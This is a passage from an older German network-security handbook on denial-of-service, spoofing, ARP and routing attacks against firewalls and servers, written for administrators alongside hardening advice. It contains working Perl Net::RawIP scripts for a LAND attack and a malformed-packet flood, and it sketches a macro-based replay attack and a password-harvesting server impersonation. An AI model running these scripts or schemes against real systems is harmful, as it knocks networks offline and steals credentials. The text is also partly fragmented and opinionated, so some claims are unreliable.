TCP/IP-Stack eines Betriebssystems nutzt (z.B. Microsoft PROXY-Server 2.0, WINGATE, WINPROXY, CONSEAL........) oder nach dem SPF-Design arbeitet. Ein dummes Problem bei Firewalls ist, da man nicht genau wei, ob die Firewall Teile des IP-Stacks des Betriebssystems mitbenutzt, oder ob die Firewall sogar ihren eigenen IP-Stack implementiert. Bei dem Maktfhrer Firewall-1 3.0 und 4.0 von Checkpoint ist das Problem, da die Zahl der Eintrge in den connection table begrenzt ist, und die Firewall-1 den Timeout auf 1 Stunde gesetzt hat. Die Firewall-1 kann dann keine Pakete mehr annehmen und folglich ist ein DoS Angriff zu 100% erfolgreich. Mit Hilfe eines kleine PERL-Skriptes auf der Firewall, welches in regelmigen Abstnden nach den sogenannten failed closed Verbindungen sucht (Siehe netstat -an), lt sich das Problem recht einfach beheben (jedenfalls bei den von mir installierten LINUX Firewalls). Das Skript kann zudem noch einige anderen Probleme mit TCP/IP Stacks, die LINUX ja auch hat, beheben. Fr Betreiber von mission critical Systemen im Internet kann dies erhebliche Verluste bedeuten. Von diesen Angriffen ist auch hufiger (nach meinen Test - Pings) ein fhrender Anbieter der Firewall-1 von Checkpoint betroffen. Tja Experten ..... Eine genaue Analyse findet sich auf http://www.enteract.com/~lspitz/fwtable.html. Leider funktionierte der auf der kostenlosen Supportseite der Firewall-1 von Checkpoint angegebene Tip nicht. Siehe http://www.phoneboy.com/fw1/faq/0289.html.
NAT Implementierungsfehler
Themen q Falsche Portnummern q DoS durch PING-PONG bei Kaskaden von Firewalls NAT oder auch der kleine Bruder von NAT, masquerading, haben in einigen Varianten Fehler. Z.B erwarten einige
Anwendungen, die Verbindungen ber einen NAT-Router aufbauen, Antwortpakete auf festen Portnummern zurck. Einige Implementierungen nehmen es damit nicht so genau, z.B auch LINUX mit Kernelversionen bis 2.0.36 mit aktiviertem Masquerading oder NAT (Patch erforderlich). Problematisch wird es, wenn dieser Router zusammen mit einer Firewall kaskadiert wird. Ein Angreifer kann dann einen PING-PONG-Effekt zwischen Firewall und LINUX initiieren, der zum Stillstand des Systems fhren kann. Diese PING-PONG-Effekte knnen zahlreiche, einfachere Ursachen haben (meist Routingfehler), erfahrenere Angreifer nutzen aber Probleme dieser Art aus.
Viele Provider haben mit DoS-Angriffen auf Switches zu kmpfen - diese werden hufig als Fehlfunktionen der Hardware gedeutet. Problematisch wird es, wenn ein Internet-Verkehrsknotenpunkt betroffen ist, wie z.B. DECIX oder ECRC. Ein Angreifer, der Zugang zu einem Host besitzt, der direkt an dem Switch angeschlossen ist, kann mit MAC Spoofing und ARP-Impfungen den Datenverkehr zwischen Providern an diesem Knotenpunkt vllig durcheinanderwrfeln. Die enorm hohen Bandbreiten erlauben es kaum, IP/MAC-Spoofing zu entdecken. Hier mssen besondere Manahmen ergiffen werden....
q q q q q q q q q q q q q q
q q q q q q q q q
q q
ICMP Typen 0-31, Code 255 ICMP Typ 3, Code 0-31 ICMP Typ 3, Code 9, 10, 13, 14, 17, 18 mit zu kurzen Paketen ICMP Typ 4, Code 0, 127, 128, 129, 255 ICMP Typ 5, Code 0, 127, 128, 255 ICMP Typ 8-10, 13-18, Code 0, 127, 128, 129, 255 ICMP Typ 12, Code 127, 128, 129, 255 ICMP Typ 12, Code 12, Random protocol - Flag gesetzt, mit embedded IP-Paket IP-Pakete mit UDP-Headern, die ungltige Werte besitzen UDP Lnge > Paketgre UDP Lnge < Paketgre Source-Port 0, 1, 32767, 32768, 65535 Destination-Port 0, 1, 32767, 32768, 65535 Etwas technisch: sizeof(struct ip) <= MTU <= sizeof(struct udphdr) + sizeof(struct ip), fhrt dazu, da Pakete einer bestimmten MTU-Gre zu ungltigen Typen fhren. IP-Pakete mit TCP-Headern, die ungltige Werte besitzen Alle Kombinationen von TCP-Flags: (URG, ACK, PUSH, RST, SYN, FIN), Siehe Beispiel LAND mit net::rawip. Sequenznummer = 0, 0x7fffffff, 0x8000000, 0xa0000000, 0xffffffff ACK = 0, 0x7fffffff, 0x8000000, 0xa0000000, 0xffffffff SYN-Paket, Fenstergre 0, 32768, 65535 Urgent-Pointer auf 1, 0x7fff, 0x8000, 0xffff, Data Offset gesetzt Source-Port 0, 1, 32767, 32768, 65535 Destination-Port 0,1 , 32767, 32768, 6553 IP-Pakete, bei denen Source-IP und Destination-IP derselbe Rechner sind. Diese sinnlosen Pakete kommen normalerweise nicht vor. Bei einigen Betriebssystemen fhrt dieses zu einer Endlosschleife und einer berlastung im Stack (Beispiel ping) oder zu einer berlastung durch startende Prozesse. (land.c) "source routed frames" enthalten im Header den Weg, den das Paket auf dem Weg durch das Internet nehmen soll. Vielfach ist es so mglich, Sperren zu umgehen ohne Log-Events auszulsen. Der bekannte OOB-BUG ist auf eine zweideutige Interpretation des URG-Flags der ursprnglichen RFC 793 und der "neuen" RFC 1122 zurckzufhren. (Microsoft mal wieder) Spoofing, also das vortuschen einer internen Adresse auf einem externen Interface ist eine noch hufig unterschtzte Mglichkeit, geringfgige Fehler in einer Firewall auszunutzen. MBONE Paket-Kapselung erfordert eine besonders sorgfltige Auswahl und Konfiguration der Firewall, da viele Filteroptionen in einigen Firewall-Routern nicht angeboten werden. Das betrifft sowohl gekapselte AppleTalk, IP-, oder IPX-Pakete. Paketkapselung von IP-Paketen in ICMP fhrte bei der NAI Firewall 5.0 zu einem DoS Attack. Angriff ber eine groe Zahl von Fragmenten, um die Zahl der Netzwerkbuffer zu erschpfen, bevor die Reassemblierung ausgefhrt wird. Hierbei kann durch Vortuschung einer langsamen Verbindung die Verweildauer in vielen Stacks erhht werden, wobei die Performance stark leidet. Angriff mit einem Zufallszahlengenerator. Es werden hierbei ausschlielich die Prfsumme, Lnge und das IP-Offsetfeld korrekt gesetzt. Dieser Angriff fhrt zu einer groen Zahl von Warnmeldungen in der Firewall, da hierbei keinerlei Wiederholungen vorkommen. Lcken, die die Firewall nicht abdeckt, weil sie Stateful Packet Filter-Architektur besitzt, fhren dann leicht zu einem erfolgreichen DoS auf dem Server dahinter. Gerade die als besonders schnell getesteten Firewalls versagen hierbei oft. Fehlerhafte Netzwerkkarten oder Routersoftware, manchmal auch Kernel selber, erzeugen im Netz hnliche Pakete. Unerklrliche, nicht reproduzierbare Phnomene und viel Zeitaufwand sind ntig, um den Strenfried ausfindig zu machen. Besser ist es jedoch, man verzichtet
gleich auf empfindliche Server, Drucker und Desktop-Betriebssysteme. Angriffe 1-10 und ihre Untervarianten lassen sich darber hinaus auch noch (zufllig) miteinander kombinieren. Die Zahl der mglichen Varianten ist sehr hoch, die Zahl der sinnvollen Varianten beschrnkt sich auf ca. 130 Stck. Firewalls mit dynamischen Regeln werden hierbei hart beansprucht und bis an die Leistungsgrenze strapaziert. Hierbei treten DoS-Phnomene auf, die von vielen Firewall-Testern/Zertifizierern nicht getestet werden knnen.
Da wei man, was man hat ! Schnen, guten Abend (Zitat von Jan Hagemeier, Bonn) Hier nun einige Beispiele: Der LAND Angriff #!/usr/bin/perl require 'getopts.pl'; use Net::RawIP; Getopts('i:p:'); $a = new Net::RawIP; die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i, daddr => $opt_i }, tcp=> {dest => $opt_p, source => $opt_p, psh => 1, syn => 1} }); $a->send; Fertig ! Ja, es ist wirklich so einfach ....Spielen Sie mit den Flags (psh, syn....) herum, und sie werden merken, da bei der richtigen Kombination Windows NT Cluster (Tandem, Wolfpack) aussteigen.... Ein einfacher PING #!/usr/bin/perl use Net::RawIP qw(:pcap); $a = new Net::RawIP ({icmp =>{}}); $a->set({ip => {saddr => 'www.intra.net', # insert your site here ! daddr => $ARGV[0]}, icmp => {type => 8, id => $$} }); $device = 'eth0'; # insert your device here ! $filt = 'ip proto \\icmp and dst host my.site.lan';# insert your site here! $size = 1500; $tout = 30; $pcap = $a->pcapinit($device,$filt,$size,$tout); $i =0; if(fork){ loop $pcap,-1,\,\@a; } else{ sleep 2; for(;;){ $a->set({icmp => {sequence => $i,data => timem()}}); $a->send(1,1); $i++ } } sub dmp{ my $time = timem(); $a->bset(substr($_[2],14)); my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence data)]}); printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f ms\n",length($ar[2])+8, ,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000); } Das folgende Skript ist vllig harmlos, es fragt nur die Flags des TCP Stacks ab. Sie knnen es dazu verwenden, das Betriebssystem hinter einer Firewall zu bestimmen, allerdings nur, wenn diese keinen eigenen TCP/IP Stack besitzt, bzw. die Pakete als Stateful Paket Filter (SPF) einfach nur an die andere Seite durchreicht. Probieren Sie einfach einmal einige
FTP Server aus, und Sie werden bemerken, wie unterschiedlich Firewalls arbeiten, und sozu sie eventuell nicht taugen ..... sondern einfach nur viel Geld kosten..... #!/usr/bin/perl # Simple script for educational purposes # It prints to STDOUT flags tcp packets from ftp server and client use Net::RawIP; require 'getopts.pl'; Getopts('i:d:n:'); die "Usage $0 -i <ftp server> -d <eth device> -n <number packet for receive>" unless ($opt_d && $opt_d && $opt_n); print "Now please login to your ftp server\n"; @flags = qw/URG ACK PSH RST SYN FIN/; $filter = "dst host $opt_i and dst port 21"; $filter1 = "src host $opt_i and src port 21"; $psize = 1500; $device = $opt_d; $timeout = 500; if(fork()){ $a = new Net::RawIP; my $pcap = $a->pcapinit($device,$filter,$psize,$timeout); loop $pcap,$opt_n,\,\@a; } else { $b = new Net::RawIP; my $pcap = $b->pcapinit($device,$filter1,$psize,$timeout); loop $pcap,$opt_n,\,\@a; } sub cl { $a->bset(substr( $_[2],14)); my @fl = $a->get({tcp=> [qw(psh syn fin rst urg ack)] }); print "Client -> "; map { print "$flags[$_] " if $fl[$_] } (0..5); print "\n" } sub sv { $b->bset(substr( $_[2],14)); my @fl = $b->get({tcp=> [qw(psh syn fin rst urg ack)] }); print "Server -> "; map { print "$flags[$_] " if $fl[$_] } (0..5); print "\n"; }
Das folgende Beispiel funktioniert eventuell auf einigen UNIX'en nicht, darunter LINUX 2.2 und BSD UNIX'e. Der Grund ist folgender: Die Distributoren haben sich darauf geeinigt, da der Schaden von irgendwelchen Lamern gro genug sei. Im Kernel von UNIX, LINUX 2.2, NT und Windows 95/98 Service Packs wurde also ein Prfsummencheck eingebaut, der verhindert, da solche bsartigen Pakete die Netzwerkkarte/ISDN Karte verlassen. Unter LINUX mssen Sie im Kernel den direkten Zugriff auf das Netzwerkdevice im Kernel aktivieren: Config Paket Socket=Y, Config Netlink Socket=Y. Damit haben dann sogar einfache User direkten Zugriff auf die Netzwerkkarte....Systemadministratoren also aufgepasst ! Diese Option sollte man stets deaktiviert haben, ansonsten knnen Nutzer von CGI-BIN's von Ihrem WWW-Server aus diese Angriffe ausfhren....was sicher zu rger fhrt... Bei dem folgenden Beispiel drfen Sie nun selber raten, welcher Angriff hier ausgefhrt wird. Beachten Sie hierzu die Mglichkeiten, die saddr zu verndern und die TCP/IP Flags zu variieren..... #!/usr/bin/perl require 'getopts.pl'; use Net::RawIP; Getopts('t:n:'); die "Usage $0 -t <ip of the target> -n <thousands of the times>" unless ($opt_t && $opt_n); @data = split (//,"0"x20); $p = new Net::RawIP({ ip => { ihl => 11, tot_len => 44, tos => 0, ttl => 255, id => 1999, frag_off => 16383, protocol => 17, saddr => '1.1.1.1', daddr => $opt_t }, generic => {} }); $p->optset(ip => { type => [@data] , data => [@data] }); $p->send(0,$opt_n*1000); Um es nochmals klarzustellen: Diese Angriffe werden inzwischen von vielen Betriebssystemen, Routern und Firewalls erkannt. Probieren Sie diese Angriffe ausschlielich auf Servern in einem isolierten Netzwerk. Gerade Pakete, die fehlerhafte Prfsummen generieren, bringen innerhalb einer Collision Domain viele TCP/IP Stacks von Arbeitsstationen oder insbesondere auch Netzwerkdruckern zum Absturz. Alle diese Pakete lassen sich z.B. auch mit der Broadcast Adresse 255.255.255.255 als Zieladresse oder mit Multicast - Adressen (224.255.255.255) generieren. Diese werden dann eventuell auch in benachbarte Netze bertragen, weil eventuell ein VLAN - Switch diese bertrgt. Konfigurieren Sie Ihre Router im Intranet also stets so, da die Broadcast Domains mglichst klein bleiben. Leider knnet es dann passieren, da Windows NT PDC's und BDC's in groen Netzwerken nicht mehr korrekt funktionieren. Entweder man setzt dann in jeder Abteilung Firewalls ein, die einen eigenen TCP/IP Stack besitzen, oder man schafft NT Server im Unternehmen einfach ab.....(Man merkt sicher, da ich Microsoft Liebhaber bin ...aus Schaden wird man klger ...) Ein weiteres Beispiel fr einen mglichen Angriff auf z.B. die MS SQL 7.0 Datenbank in Backoffice wird in dem Kapitel backoffice beschrieben. Hier nun eine Darstellung, wie man Visual Basic fr einen sogenannten replay attack verwenden kann. Es gibt die Mglichkeit, ber Visual Basic Makros in Winword oder Excel Angriffe auf Server im Intranet zu starten. Es ist klar, da man in einem solchen Makro nicht PERL mit den net::rawip Erweiterungen unauffllig verstecken kann.
Man kann jedoch ein Netzwerk aufbauen, welches dieselben IP-Nummern besitzt, wie das zuvor mit Hilfe eines WWW-Server ausgekundschaftete Intranet des Unternehmens (Siehe z.B. http://www.little-idiot.de/cgi-bin/test.cgi). Danach werden die TCP/IP Pakete des Angriffs mit einem Sniffer aufgezeichnet. Dieser ist z.B. im Paket von Darren Reed enthalten. Damit kann man 1:1 die Pakete aufzeichnen, und fr einen sogenannten replay attack sichern. Danach verpackt man die Pakete in die bekannten DATA Zeilen in Basic. Da ein Angriff auf einen TCP/IP Stack nur wenige entscheidende Bytes enthalten mu, kann dieses BASIC Makro sehr klein gehalten werden. Nun mu man dieses Makro nur noch in WINWORD oder EXCEL Paken, und einem Mitarbeiter der Firma zuschicken. Dieser liest das Winword Dokument, und im gleichen Moment stehen die Server im Unternehmen oder auch hunderte von Arbeitsstationen still.
Leistungsfhigkeit bringen. Beispielsweise kann man mit wenigen Hundert FTP- oder POP3/IMAP4-Verbindungen einen Server ans Swappen bringen. Die Antwortzeiten steigen schnell an, und nach ein paar Minuten ist der Server in einem Zustand, da er neu gebootet werden mu. Es ist also gerade bei mission critical Systemen wichtig, da RAM-Verbrauch je offener TCP/IP-Verbindung und Proze auf das zur Verfgung stehende RAM abgestimmt wird. Einzelne Dienste mssen in ihrer Zahl begrenzt werden. In vielen Fllen sind auch die Timeout-Zeiten, z.B bei abgebrochenen FTP-Verbindungen, zu lang, soda vom TCP/IP-Stack unntig RAM verbraucht wird. Die maximale Zahl der halboffenen Verbindungen mu angepat werden, und zwar im Kernel des Servers und der Firewall. Gerade bei mission critical Systemen ist es unerllich, da man genaue Kenntnisse ber timeout Zeiten, RAM-Verbrauch, maximale Zahl der Verbindungen u.s.w. der Firewall und des Servers hat. Aus diesem Grund werden groe Server ausschlielich mit FreeBSD oder NetBSD betrieben. (www.cdrom.com, www.yahoo.com, www.lycos.com, www.netscape.com, www.tucows.com und viele weitere....). Deren Last liegt bei ca. 200 GByte am Tag und bei durchschnittlich 3500 simultanen Verbindungen, zumeist File-Downloads.
gefater Server bei diesem Provider nicht verletzlich, so benutzt ein Angreifer weitere Tricks. Hufig findet sich dort zumindest ein Server, der verletzbar ist, oder es ist mglich, nach Absprache mit dem Provider fr einige Tage "probeweise" dort einen Server aufzustellen. Mit Hilfe dieses Servers lt sich dann ein mit dem Zielserver identischer Server aufbauen, der dann ber stndige DoS-Angriffe den Ur-Server stilllegt, und somit seinen Platz bernehmen kann. Es dauert nur wenige Tage oder Stunden, bis der Systemadministrator versucht, sich einzuloggen. ber einen prparierten Login-Dmon, der jedes Pawort erlaubt, bemerkt der Systemadministrator nicht, da er in Wirklichkeit auf einem fremden Server eingeloggt ist. Da das "echte" Pawort nun verloren ist, kann der Probeserver nun wieder abgebaut werden. Selbstverstndlich reicht auch ein einfaches "sniffen" auf einem der Ports fr die Fernwartung. Etwas schwieriger wird es, wenn der Provider einen Switch oder "switching hub" aufgestellt hat, und somit Kundenserver voneinander trennt. Ein Mitprotokollieren von Paworten fr Netzwerkserver ist dann nicht mehr mglich. Trickreicher ist dann das sogenannte "mac spoofing" (Siehe oben) Hierbei erfolgt ein DoS-Angriff auf das Target und eine bernahme der MAC-Adresse durch den benachbarten Server. Der Switch behlt normalerweise 3 Informationen ber einen Server, dessen IP - Nummer, dessen MAC-Nummer und den Port, an dem das Netzwerkkabel eingesteckt ist. Nach dem Angriff bemerkt der Switch nur, da IP - Nummer und MAC-Adresse auf einen anderen Port gewechselt haben - von nun an kann man fleiig Paworte mitprotokollieren, mit denen der Angreifer spter in den Zielserver hineinschauen kann. Die bei Povidern eingesetzte "ping" berwachung, die dem Systemadministrator meldet, ob ein Server evtl. abgestrzt ist, kann einen solchen Angriff nicht bemerken. Auch Kontrollen auf MAC-Ebene knnen diese Art von Angriff nicht zuverlssig entdecken. Serise Provider setzen Switching-Router ein, auch wenn dies erheblich mehr Aufwand kostet, als ein Switch. (Tip: LINUX-Firewall-Router mit 4xNetzwerkkarten pro PCI-Slot = 16 Port-Firewall-Router) Ohne diesen Aufwand sollte ein seriser Anbieter von Einkaufs-Shop's mit Zertifikat und Verschlsselung niemals ans Netz gehen.
DoS ARP-Angriffe
Themen q Statische ARP-Tabellen q Umlenkung des Datenverkehrs von Logservern q Fluten von ARP-Caches q Neighbour Discovery statt ARPD Es ist mglich, da eine Maschine ARP-Antworten flscht, um so den Datenverkehr auf sich selbst umzulenken. Dadurch kann diese Maschine sich fr einen anderen Host ausgeben oder Datenstrme selbst modifizieren. Insofern ist ARP nur sicher, solange ausschlielich vertrauenswrdige Maschinen auf dem lokalen Datennetz senden knnen. Um solche Attacken zu vereiteln, knnen zum Beispiel ARP-Tabellen fixiert und das automatische Ablaufen von ARP unterbunden werden. Ist ein Anfreifer erst einmal in ein Unternehmen vorgedrungen, so gilt es schnellstmglich den Logserver auer Betrieb zu setzen. Er wird mit Sicherheit zuerst durch ARP-Manipulationen den Log-Server oder die Firewall dazu bringen, seine Logfiles nicht mehr an den ursprnglichen Logserver zu versenden, sondern z.B. an sich selber, einen Server im Internet, oder irgendeinen anderen Server im Netz. In diesem Falle wrden wichtige Informationen, z.B. ber Einbrche nicht an einen LOG-Server oder E-Mail-Server, sondern an sich selber gesendet, wenn der ARP-Cache der Firewall diese Manipulation (2 IP - Nummern, 2 MAC Adressen) nicht erkennt. Das ist leider noch bei vielen Betriebssystemen, die Router oder Firewalls tragen, der Fall. Auf diese Art und Weise werden besonders wichtige Server eines Unternehmens stillgelegt, ohne auch nur die geringsten Zugriffberechtigungen auf diesem Server gehabt zu haben. Insbesondere bei Windows NT 4.0 ist der Befehl "arp" zwar vorhanden und dokumentiert, jedoch nicht im Betriebssystem korrekt implementiert. Es ist also schon allein aus diesem Grunde nicht egal, auf welchem Betriebsystem eine Firewall installiert ist. Server sollten stets mit statischen ARP-Tabellen (siehe bootpd) gefttert werden, die durch einen separaten ARP-Cache Dmon ergnzt werden. Insbesondere in groen Netzwerken sind dauernde ARP-Broadcasts des Servers nicht nur eine erhebliche Netzwerkbelastung, sondern auch ein Sicherheitsproblem auf der Hardware-Ebene der Netzwerkkarten.
Server und Firewallbetriebssysteme sollten nur mit Netzwerkkarten ausgerstet werden, bei denen die Hardwareadresse nicht verndert werden kann. Leider sind auch manche ARP-Caches flutbar, soda dieses evtl. auch einen ARP-Dmon fr einen DoS-Angriff anfllig macht. Generell sollten in Unternehmensnetzwerken Netzwerkkarten mit groem ARP-Cache eingesetzt werden, es entlastet das Netzwerk erheblich durch weniger ARP-Broadcasts. Wissend, da MAC-Adressen, ARP-Caches und IP - Nummern gespooft werden knnen, sollten in greren Unternehmensnetzwerken generell Router, Firewall-Router oder Level 3/4 Switches zum Einsatz kommen. Dieses ermglicht darber hinaus noch eine Komplettberwachung ber den Datenverkehr und erschwert die Industriespionage, bzw. verhindert diese wirksam. Daher soll ARP durch neighbour discovery - ein neues Protokoll basierend auf ICMP ersetzt werden. Alternativ sollte man mit statischen ARP-Tabellen arbeiten (ARPD), was natrlich einen erhhten Pflegeaufwand bedeutet.
Da RIP als Informationstrger UDP verwendet, ist es recht einfach, geflschte RIP-Nachrichten ins Netz einzuschleusen. Befindet sich der Host des Angreifers nher am Ziel als das Quellsystem, so kann er den Datenverkehr leicht umlenken. Ein weiteres Problem ist die Fernwartung via SMNP V1 und V2. Eine Authentisierung in SNMP erfolgt ber das sogenannte Communitiy-Konzept. Eine Community ist eine Menge von Managern, die auf einen gegebenen Agenten in gleicher Weise zugreifen drfen. Die Community hat einen Namen (community string), der gleichzeitig als Pawort dient und bei allen Operationen angegeben werden mu. Alle Manager, die zu einer Community gehren, verwenden denselben community string. Dabei luft dieser ungeschtzt bers Netz. Kann also ein Angreifer den community string abhren, so kann er sich als Manager ausgeben und z.B. Router zu seinen Gunsten konfigurieren. Router sollten so konfiguriert werden, da sie wissen, welche Routen auftauchen drfen (statisches Routen). RIP ist ein Dienst auf Basis von UDP. RIP-Server berwachen Port 520 auf Broadcasts anderer Server und Anfragen von Clients. RIP-Server senden ihre Broadcasts gewhnlich auf Port 520. Es sollten also Subnetze in greren Unternehmen nicht nur durch Router, sondern besser durch Firewalls abgesichert werden, da UDP als verbindungsloses Protokoll einem hijacking Angriff nicht standhlt. Mit FreeBSD/LINUX lt sich eine solches System billig aufbauen (ARPD, IPFW, ROUTED). Der Einsatz von OSPF ist zwar ber eine Pawortauthentifizierung abgesichert, aber auch diese lassen sich "ersniffen", genauso wie der community string in SMNP, oder dem Telnet-Pawort. Router sollten alle via WWW-Browser mit SSL-Verschlsselung administrierbar sein. Man sollte die Wichtigkeit der Sicherheit und Nichtmanipulierbarkeit von Routern niemals unterschtzen, sie bilden das Rckgrat smtlicher Kommunikationswege im Unternehmen. Da inzwischen frei verfgbare Angriffswerkzeuge im Internet existieren, sollte man auch die Gefahr eines DoS-Angriffs durch interne Mitarbeiter bercksichtigen. Schlielich kann die "Umprogrammierung" eines Routers im Unternehmen einem Angreifer smtliche Paworte der Server eines anderen Unternehmenszweiges in die Hnde spielen.
viele Fehler auftraten und Microsoft die Quellcodes geheimhlt. Jede Art von Filter ist ein weiteres Stck Software, welches anfllig gegen DoS-Angriffe ist. Die Logik einiger Sicherheitsfilter iche Software, die erwiesenermaen fehlerhaft arbeitet, in ein sicheres System verwandeln kann........ Das zeigen auch unabhngige Untersuchungen. Whrend z.B. die IBM AS/400 nur 5 Stunden Downzeit/Jahr hat, wurde NT mit ber 250 Stunden unplanmiger Downzeit angegeben.
Timing-Verhalten bei schon 100 MBit bertragungsrate durch die Parallelisierung der Threads des TCP/IP-Stacks erhebliche Probleme mit sich bringen kann. So passiert es hufig, da Systeme mit mehreren Prozessoren und Interfaces weitaus strungsanflliger sind, als Server mit bewhrten 10 MBit Interfaces und einem Prozessor (Beispiel: SUN ATM, Windows NT). Fr mission critical Firewalls sind Einprozessorsysteme die bessere Wahl. Insgesamt kenne ich kein System, welches als Mehrprozessorsystem hnlich stabil wre. Wenn berhaupt, dann knnte man Solaris und OS/2 als stabil und schnell bezeichnen, NT mit mehreren Prozessoren ist eine Katastrophe. Viele Patches, die DoS Angriffe auf Einprozessorsysteme verhindern, funktionieren nicht auf Mehrprozessorsystemen. Der Grund liegt in der Verwaltung des TCP/IP Stacks mit vielen Threads, was zu ungeheuren programmiertechnischen Schwierigkeiten fhrt. Daher sind viele TCP/IP Stacks nicht mehrprozessorfhig, auch wenn die Werbung behauptet, das ganze Betriebssystem wre fr mehrere Prozessoren ausgelegt. Diese Schwierigkeiten wurden z.B. unter hoher Last bei Solaris/NT mit ATM Karten an der Universitt zu Kln von Axel Clauberg festgestellt und verffentlicht.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
erfolgreich waren, die erst ca. 2 Jahre spter in den Mailing-Listen von BUGTRAQ aufgedeckt wurden. Fleiiges Mitlesen der Listen und einspielen von Sicherheits-Patches hilft nur und ausschlielich gegen den MOB, der sich im Internet breitmacht und exploits testet, gegen professionelle Angreifer mssen sichere Betriebssysteme und Filter eingesetzt werden.
BSD-UNIX
Besonders erwhnenswert sind die Programmierer von OpenBSD, die in jahrelanger Arbeit code review tausende! von solchen fehlenden Lngenabfragen in die Standardprogramme von OpenBSD eingebaut haben. Hierzu sind aber nderungen im Quellcode der Programme und des Kernels notwendig gewesen. OpenBSD ist binrkompatibel zu BSDI, FreeBSD, NetBSD, LINUX und auch SOLARIS Programmen. Da bedeutet aber nicht, da die Anwendungsprogramme auf buffer overflows berprft wurden. Leider kann der code review nicht eine 100%ige Sicherheit vor diesen Angriffen garantieren, OpenBSD gehrt aber zu denjenigen Betriebssystemen, die uerst stabil ohne groe Probleme durch Angreifer laufen, genauso wie SOLARIS 2.5, 2.6, 2.7. SUN hat aufgrund der langen Internet-Tradition inzwischen erhebliche Mhen in eigene code reviews gesteckt. Das zahlt sich aus. FreeBSD und NetBSD sind ebenfalls als relativ sicher zu betrachten, da diese ebenfalls von dem code review bei OpenBSD profitiert haben. Die kommerzielle Version der BSD-Betriebssysteme, BSDI konnte ebenso davon profitieren, soda man sagen kann, alle BSD-Varianten sind inzwischen weitestgehend bullet proof. Es gibt zwar auch Ausnahmen, die sind aber relativ selten. Aus diesem Grund setzen ausnahmslos groe Content-Anbieter (Yahoo, HotMail, Netscape, ftp.cdrom.com, tucows.com.....) BSD 4.4 UNIX oder Solaris ein.
LINUX
LINUX hat inzwischen alle Negativ-Rekorde gebrochen. Die grte Anzahl aller Exploits sind auf LINUX fr LINUX geschrieben worden, ein Tribut an die groe Verbreitung und die rasanten Entwicklungsfortschritte. Es gibt aber erhebliche Unterschiede bei den Distributionen. Whrend RedHat viel Wert auf schnell verfgbare Patches legt, und dort, wo es geht, BSD-Dmonen einsetzt (qpop exploit unter RedHat 5.0+ war nicht anwendbar, unter S.u.S.E. - 5.3 LINUX schon), legt S.u.S.E. erheblich mehr Aufwand in die Funktionalitt, insbesondere von ISDN. Security Patches werden von S.u.S.E. oft erst ein paar Tage nach RedHat bereitgestellt. Grundstzlich sind die Unterschiede zwischen allen Distributionen aber eher klein. Ein groer Vorteil von LINUX ist, da schon wenige Stunden nach der Meldung eines Sicherheitsproblems (PING o Death: 30 Minuten) die Fehlerkorrektur im Internet verfgbar ist. Auch das ist Rekord. Insbesondere ISPs leiden unter diesen Angriffen auf LINUX. Angesichts der schnellen Verfgbarkeit von Patches ist der Einsatz von LINUX im Internet noch zu rechtfertigen, gewissenhafte Pflege vorausgesetzt.
WINDOWS NT
Schwieriger wird die Aussage bei Windows NT 4.0. Windows NT hat eine Unzahl von Fehlern, die von Microsoft erst nach Monaten korrigiert wurden, speziell aber funktionierende exploits sind allerdings selten. Windows NT fllt auch noch mit SP5 diversen DoS Angriffen zum Opfer. Viele "Lamer" (so werden Hacker bezeichnet, die mit vorgefertigten Werkzeugen Das liegt zum einen daran, da Angreifer NT-Server in der Vergangenheit durch den sehr schlechten, instabilen TCP/IP-Stack einfach stillegen konnten und sich damit zufrieden gaben. Das betrifft vor allem eine Unzahl von Lamern, so werden Hacker genannt, die die exploits anderer nur anwenden und sich toll dabei fhlen. Andererseits besitzt NT soviele Fehler, da es oft keiner buffer overflows bedarf, um die Festplatte eines Internet-Servers
einzusehen. buffer overflows fr NT zu schreiben, ist allerdings kein greres Problem, als einen fr LINUX oder andere Betriebssysteme zu schreiben, wie l0pht gezeigt hat. Was das ganze fr einen echten Angreifer schwieriger macht, ist, da Microsoft so viele verschiedene Varianten von NT 4.0 im Umlauf hat, da es eine lngere Zeit dauert, bis man die korrekte Version des Betriebssystems und die richtigen Programme installiert hat, um einen exploit schreiben zu knnen. Geringe Abweichungen schon knnen verhindern, da ein exploit gleichermaen auf allen Servern anwendbar ist. Ein professioneller Angreifer wird sich den Server mglichst bis auf das I-Tpfelchen genau nachbauen, den berhmten SoftIce-Debugger benutzen, um mangelhafte Lngenabfragen ausfindig zu machen. SoftIce ist ein hervorragendes Werkzeug, um professionell in Binary-Code nach speziell solchen Problemen zu suchen. Windows NT DLLs strotzen geradezu vor Warnmeldungen des Debuggers, die einen mglichen buffer overflow anzeigen. Bis ein Security- Patch fr die einzelnen Sprachversionen vorliegen, kann bei Microsoft durchaus ein Jahr vergangen sein. (SYN-flood und SP4)
HP UNIX
HP UNIX hat aufgrund der eigenen CPU und der geringen Verbreitung wenig zu frchten, im Grunde gilt aber dasselbe, wie fr NT. Highlight ist die Geschwindgkeit, mit der HP auf Sicherhheitsprobleme reagiert. Es wurden Sicherheitskorrekturen fr den Mailer-Dmon an die Kunden verteilt, obwohl fr diese gepatchte Version schon wieder Informationen ber neue Sicherheitslcher vorlagen. Weitere Kommentare berflssig.
Wie kann ich einen Server wirksam vor buffer overflows schtzen?
Jede bergabe von Daten an irgendeinen Dienst (Dmon) eines Betriebssystems mu berprft werden. Das erfordert genaue Detailkenntnisse ber Befehle, Befehlsparameter und maximale Lnge. Man sollte sich also genau berlegen, welche Befehle eines welchen Dmons/Dienstes gebraucht werden. Danach mssen Syntax der Befehle und sinnvolle und sinnlose Kombinationen aus Befehlen ermittelt werden. Im Anschlu daran mu man die Lngen der bergabeparameter ermitteln, die z.T. von Datenbankinhalten oder Lngen von Dateinamen abhngen knnen. Nun kann man mit z.B. PERL oder JAVA einen geeigneten Filter schreiben. PERL eignet sich hervorragend zur Erstellung von Filtern, sofern es im tainted mode gestartet wird. In diesem Modus werden alle Variablen, die Daten von auen bergeben bekommen, als verdorben markiert. bergibt man Parameter von verdorbenen Variablen an Programme oder Betriebssystemroutinen, so werden diese nicht ausgefhrt. Ein sinnvoller Schutz. Daber hinaus ist PERL eine interpretierte Sprache, die selber keine buffer overflows kennt, da es keine Lngenbegrenzung bei Variablen gibt. Alle Speicheranforderungen fr Variablen erfolgen dynamisch. JAVA ist ebenfalls eine 